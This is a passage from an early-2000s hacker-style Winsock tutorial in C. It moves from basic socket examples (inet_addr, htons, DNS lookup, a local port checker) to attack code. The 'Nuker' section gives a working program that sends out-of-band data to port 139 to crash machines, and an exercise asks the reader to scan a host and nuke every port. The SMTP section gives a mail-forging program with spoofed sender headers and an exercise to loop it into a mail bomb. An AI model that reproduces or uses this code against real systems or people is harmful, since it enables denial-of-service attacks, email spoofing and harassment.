Of course its the winsock that makes all this code work and ive already told you what functions like
 
htons() and inet_addr() do to numbers, but now its time to show you.
 
 
 
 
 
5.1 LOOKING AT INET_ADDR
 
=======================================
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
void outtie(char *p)
 
{
 
   FILE *fp=fopen("c:\\inet_addr.txt","a+");
 
   fprintf(fp,"%s\n",p);
 
   fclose(fp);
 
}
 
 
 
long      adrss;
 
char      output[200];
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
if (message == WM_LBUTTONDOWN)
 
{   
 
       adrss = inet_addr("127.0.0.1");
 
 
 
       sprintf(output,"Internet Address = %ld",adrss);
 
     outtie(output);
 
}
 
 
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
This program is simple, in the beginning we set up the function outtie,
 
this function takes the char, output, and prints it to a file called inet_addr.txt in the C:\ drive.
 
 
 
We go all inet_addr on the IP address 127.0.0.1's ass and put the result in output.
 
We then call outtie(); and the result of inet_addr is put into the text file.
 
Taadaaaa.
 
 
 
Run this program and click on the client area, wait a second then close it.
 
Goto your C:\ drive and open the file inet_addr.txt.
 
The file should look something like this
 
 
 
      [ inet_addr.txt ]
 
 
 
Internet Address = 537001100
 
 
 
 
 
and that is that.
 
 
 
 
 
5.2 LOOKING AT HTONS()
 
=======================================
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
     
 
long      port;
 
char      output[200];
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
if (message == WM_LBUTTONDOWN)
 
{   
 
 
 
      port = htons(80);
 
 
 
 
 
    sprintf(output,"Port 80 = %ld",port);
 
    MessageBox(0,output,"Port",0);
 
                     
 
 
 
}
 
 
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
This program is very similiar to the last one but this one looks at htons() rather than inet_addr.
 
Here we have chosen to display the result in a messagebox tough rather than a text file.
 
 
 
The result should be a message box with caption, "Port" and text saying Port 80 = 20480.
 
 
 
 
 
5.3 EXPLORING WINSOCK FUNCTIONS
 
=======================================
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
WSADATA  ws;
 
DWORD    wsock;
 
 
 
char       msge[200];
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
 
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
if (message == WM_LBUTTONDOWN)
 
{
 
 
 
      wsock = WSAStartup(0x0101,&ws);
 
 
 
      sprintf(msge,"wsock..%ld",wsock);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"wVersion....%d",ws.wVersion);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"wHighVersion....%d",ws.wHighVersion);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"szDescription....%s",&ws.szDescription);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"szSystemStatus....%s",&ws.szSystemStatus);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"iMaxSockets....%u",ws.iMaxSockets);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"iMaxUdpDg....%u",ws.iMaxUdpDg);
 
      MessageBox(0,msge,msge,0);
 
 
 
      sprintf(msge,"lpVendorInfo....%s",ws.lpVendorInfo);
 
      MessageBox(0,msge,msge,0);
 
 
 
      MessageBox(0,"Finished","End",0);
 
 
 
      WSACleanup();
 
 
 
}
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
This program calls several functions of winsock and displays the results to us in message box's.
 
These can be handy if, for example I wanted to tell some-1 what version of winsock there running I
 
would call &ws.szDescription which in my case would say Winsock 2.0, in a nicely human readable value.
 
 
 
 
 
 
 
[ EXERCISES ]
 
 
 
Look trough the file winsock.h in your compiler include folder. See what else there is in winsock
 
that can be demonstrated in these kinds of programs.
 
 
 
________________________________________________________________________________________________________
 
 
 
6.0 Common Internet programs
 
=======================================
 
 
 
In this section were going to build a few common internet applications using the information that
 
we have learnt so far.
 
 
 
These programs are:
 
 
 
1. DNS      	-  Gets a hostname and returns its IP address.
 
2. Portscan      	-  Gets port numbers and tells user whether there open or not.
 
3. Nuke      	-  Sends OOB data to a listening port.
 
 
 
 
 
 
 
6.1 DNS
 
=======================================
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
#include 
 
#include 
 
#include 
 
 
 
int CDECL MessageBoxPrintf (TCHAR * szCaption, TCHAR * szFormat, ...)
 
{
 
      TCHAR      szBuffer [1024];
 
      va_list pArgList;
 
 
 
      va_start (pArgList, szFormat);
 
 
 
      _vsntprintf (szBuffer, sizeof (szBuffer) / sizeof (TCHAR),
 
      	      szFormat, pArgList);
 
 
 
      va_end (pArgList);
 
 
 
      return MessageBox (NULL, szBuffer, szCaption, 0);
 
 
 
}
 
 
 
          WSADATA  wsdata;
 
      SOCKET   sock; 
 
      DWORD    wsock;
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
if (message == WM_LBUTTONDOWN)
 
{
 
 
 
 wsock = WSAStartup(0x0101,&wsdata);
 
 struct hostent *h;
 
 
 
 
 
 h = gethostbyname("localhost");
 
 
 
 
 
 MessageBoxPrintf(TEXT ("Hostname"),h->h_name);
 
 
 
 MessageBoxPrintf(TEXT ("IP Address"),inet_ntoa(*((struct in_addr *)h->h_addr)));
 
 
 
 
 
 
 
 WSACleanup();
 
 
 
}
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
This program utilizes the hostent structure, like we discussed earlier, and uses the gethostbyname();
 
function to get the name of the host were looking for.
 
 
 
The hostent structure is filled up and we access the members h_name and h_addr and display them in Messagebox's.
 
 
 
These aren't normal message box's as normal ones wouldn't be able to display the info for them so we added
 
some extra code to create MessageBoxPrintf(); to emulate the consoles printf() function.
 
 
 
 
 
 
 
6.2 Portscan
 
=======================================
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
 
 
int CheckPortUDP(short int Port)
 
{
 
    struct sockaddr_in client;
 
 
 
    WSADATA wsaData;
 
 
 
    int Busy = 0;
 
    int sock;
 
 
 
    if(WSAStartup(0x0101, &wsaData) == 0)
 
    {
 
 
 
        client.sin_family      = AF_INET;
 
        client.sin_port        = htons(Port);
 
        client.sin_addr.s_addr = inet_addr("127.0.0.1");
 
 
 
        /* Check UDP Protocol */
 
        sock = socket(AF_INET, SOCK_DGRAM, 0);
 
 
 
        Busy = (bind(sock, (SOCKADDR FAR *) &client,sizeof(SOCKADDR_IN)) == SOCKET_ERROR);
 
 
 
 
 
        if(Busy)
 
 
 
        WSACleanup();
 
    }
 
    return(Busy);
 
}
 
 
 
 
 
int CheckPortTCP(short int Port)
 
{
 
    struct sockaddr_in client;
 
 
 
    WSADATA wsaData;
 
 
 
    int Busy = 0;
 
    int sock;
 
 
 
    if(WSAStartup(0x0101, &wsaData) == 0)
 
    {
 
 
 
        client.sin_family      = AF_INET;
 
        client.sin_port        = htons(Port);
 
        client.sin_addr.s_addr = inet_addr("127.0.0.1");
 
 
 
        sock = socket(AF_INET, SOCK_STREAM, 0);
 
 
 
        Busy = (connect(sock, (struct sockaddr *) &client,sizeof(client)) == 0);
 
 
 
 
 
        if(Busy)
 
 
 
        WSACleanup();
 
    }
 
 
 
    return(Busy);
 
}
 
 
 
 
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      
 
 
 
    if(CheckPortTCP(80))
 
 
 
        MessageBox(0,"HTTP Server is running","HTTP",0);
 
    else
 
        MessageBox(0,"HTTP Server is down","HTTP",0);
 
 
 
 
 
    if(CheckPortUDP(13))
 
 
 
        MessageBox(0,"DayTime Server is running","DayTime",0);
 
    else
 
        MessageBox(0,"DayTime Server is down","DayTime",0);
 
 
 
 
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
Unlike the previous programs this one runs the winsock code as soon as we start it. We have 2 functions,
 
 
 
1. CheckPortUDP      -  Check if UDP port is open.
 
2. CheckPortTCP       -  Check if TCP port is open.
 
 
 
These functions try to connect to the port that we pass to them in the WinMain function and if these ports
 
are busy we get returned Busy otherwise we dont get returned Busy, its as easy as that!
 
If we wanted we could add more code that checks more ports, port checking could do more than just tell us
 
if a server is running (which is very useful on its own!) it could also tell us if a trojan is running
 
on a remote computer or our own for that matter :).
 
 
 
 
 
6.3 Nuker
 
=======================================
 
 
 
 
 
/* <---- PLEASE READ DISCLAIMER  ----> */
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
 
 
    WSADATA        wsdata;
 
    SOCKET         sock; 
 
    DWORD          wsock;
 
    char      	*str;
 
    struct         sockaddr_in Sa;
 
 
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS    wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
      if (message == WM_LBUTTONDOWN)
 
      {
 
      wsock = WSAStartup(0x0101,&wsdata);
 
 
 
      sock = socket(PF_INET,SOCK_STREAM,0);
 
 
 
      Sa.sin_family = AF_INET;
 
      Sa.sin_addr.s_addr = inet_addr("127.0.0.1");
 
      Sa.sin_port = htons(139);
 
 
 
      wsock = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));
 
 
 
      str = "Hello World!";
 
 
 
      send(sock,str,strlen(str),MSG_OOB);
 
 
 
      MessageBox(0,"Nuke Sent","Nuked",0);
 
      WSACleanup();
 
 
 
      }
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
This is the infamous (infamously lame) Nuke program. Port 139 is standard listening port for windows,
 
Nuke merely sends OOB (Out Of Bound) data to this port which on some operating systems results in a crash.
 
Many FTP servers and other such services are subceptible to a good nuking, all you do is change the port 
 
value to the service you wish to crash.
 
 
 
For more information on Nuke and DoS attacks consult blacksun.box.sk.
 
 
 
 
 
[ EXERCISES ]
 
 
 
Write a program which first takes a hostname of a computer and returns the IP address, 
 
checks for open ports on the host, and nukes each port in turn.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
7.0 E-MAIL - SMTP
 
=======================================
 
 
 
E-Mail is a very useful service and has made snail mail pointless (id rather get an internet mail bomb than
 
a snail mail one!)
 
 
 
E-mail is made up of two protocols
 
 
 
1. SMTP      	-  For sending mail.
 
2. POP3      	-  For recieving mail.
 
 
 
 
 
Since this is a basics tutorial we will only cover SMTP for the moment but that don't mean that we can't
 
make it a bit more interesting...
 
 
 
Any-1 thats familiar with SMTP can tell you its inherent flaws (after all bsrf's tutorial is smtp - the 
 
buggiest protocol..  or something like that).
 
 
 
Most importantly of all it is possible to send mail from your e-mail account without giving a username or
 
password, or read some-1 else's mail for that matter..
 
 
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
#include 
 
#include 
 
 
 
 
 
    WSADATA         wsdata;
 
    SOCKET          sock;
 
    DWORD           wsock;
 
      
 
    struct          hostent *H;
 
    char            output[100];
 
    int      	  cnnct;
 
    char            str[10000];
 
    struct          sockaddr_in Sa;
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
{
 
      	static TCHAR szAppName[] = TEXT("Interface");
 
 
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	      = CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc      	= recall;
 
      wndclass.cbClsExtra      	= 0;
 
      wndclass.cbWndExtra      	= 0;
 
      wndclass.hInstance      	= hInstance;
 
      wndclass.hIcon      	      = LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	      = LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground      	= (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName      	= NULL;
 
      wndclass.lpszClassName      	= "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
}
 
 
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
      if (message == WM_LBUTTONDOWN)
 
    {
 
      
 
  WSAStartup (0x101, &wsdata);
 
  
 
  sock = socket(AF_INET, SOCK_STREAM,0);
 
 
 
  H = gethostbyname("mail.newbie.net");
 
 
 
  Sa.sin_family           = AF_INET;
 
  Sa.sin_port           = htons(25);
 
  Sa.sin_addr.s_addr       = *((unsigned long *) H->h_addr);
 
 
 
  cnnct = connect(sock,(struct sockaddr *) &Sa,sizeof(Sa));
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
 
 
  strset(output,' ');
 
  strcpy(str,"HELO newbie.net\r\n");
 
  
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
 
 
  strset(output,' ');
 
  
 
  strcpy(str,"MAIL FROM:\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
 
 
  strset(output,' ');
 
  
 
  strcpy(str,"RCPT  TO:\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
 
 
  strset(output,' ');
 
  
 
  strcpy(str,"DATA\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
 
 
  strset(output,' ');  
 
  
 
  strcpy(str,"TO: Ian Cosgrove\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  strcpy(str,"FROM: Mail Forger.in\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  strcpy(str,"DATE: 22 May 01 16:17 GMT\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  strcpy(str,"MESSAGE_ID: <123456789>\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  strcpy(str,"Hello World!\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  strcpy(str,"From The Mail Forge Program\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  strcpy(str,".\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
 
 
  strset(output,' ');
 
  
 
  strcpy(str,"QUIT\r\n");
 
  cnnct = send(sock,str,strlen(str),0);
 
  
 
  cnnct = recv(sock,str,10000,0);
 
 
 
  sprintf(output,"recv %d str %s",cnnct,str);
 
 
 
  WSACleanup();
 
  
 
}
 
 
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
This program sends a series of commands at the SMTP server, if you are not familiar with the smtp
 
protocol theres a good tutorial at the blacksun website which covers all of these commands and
 
the basic idea behind this program.
 
 
 
The result of this program is that an e-mail is sent to my e-mail address (cos125@hotmail.com),
 
from lamer@newbie.net.
 
 
 
The resulting e-mail would look like the following:
 
 
 
---------------------------
 
---------------------------
 
TO:   Ian Cosgrove
 
FROM: Mail Forger
 
DATE: 22 May 01 16:17 GMT
 
 
 
MESSAGE_ID: <123456789>
 
 
 
Hello World!
 
From The Mail Forge Program
 
---------------------------
 
---------------------------
 
 
 
 
 
And thats the SMTP program, replace my e-mail address with any-1 that you want and the address,
 
lamer@newbie.net with anything, like santa@northpole.com, and the e-mail will be sent.
 
 
 
 
 
 
 
[ EXERCISES ]
 
 
 
Add a loop in the program so that it repeatedly sends e-mails to the same address...
 
 
 
something like,
 
 
 
for (i = 1; i<= 500 ; z++)
 
{
 
...
 
}
 
 
 
________________________________________________________________________________________________________
 
 
 
* NOTE -  This method is known as mail bombing.
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
8.0 WinInet - FTP
 
=======================================
 
 
 
 
 
So far we have been using the Winsock for all of our programming, but there is another option in windows
 
and its known as WinInet. WinInet is a collection of high level functions and deals with 3 main protocols;
 
HTTP, FTP and Gopher. WinInet functions closely resemble windows file functions. For an example of using
 
the WinInet API we are going to make an FTP client.
 
 
 
FTP isn't very widely used anymore or if it is its used in the background of an application, like for 
 
downloading files from an FTP server in Internet Explorer. To the user when Internet Explorer begins 
 
downloading a file from a web site its hard to tell whether its using http's get command or using good ol' FTP.
 
 
 
 
 
      +------------------------+-------------------------+
 
      |     FTP function       |  Windows File Function  |
 
      +------------------------+-------------------------+
 
      | FtpCreateDirectory     | CreateDirectory         |
 
      +------------------------+-------------------------+
 
      | FtpRemoveDirectory     | RemoveDirectory         |
 
      +------------------------+-------------------------+
 
      | FtpSetCurrentDirectory | SetCurrentDirectory     |
 
      +------------------------+-------------------------+
 
      | FtpGetCurrentDirectory | GetCurrentDirectory     |
 
      +------------------------+-------------------------+
 
 
 
 
 
      FIG 5. - FTP and Windows File functions.
 
 
 
 
 
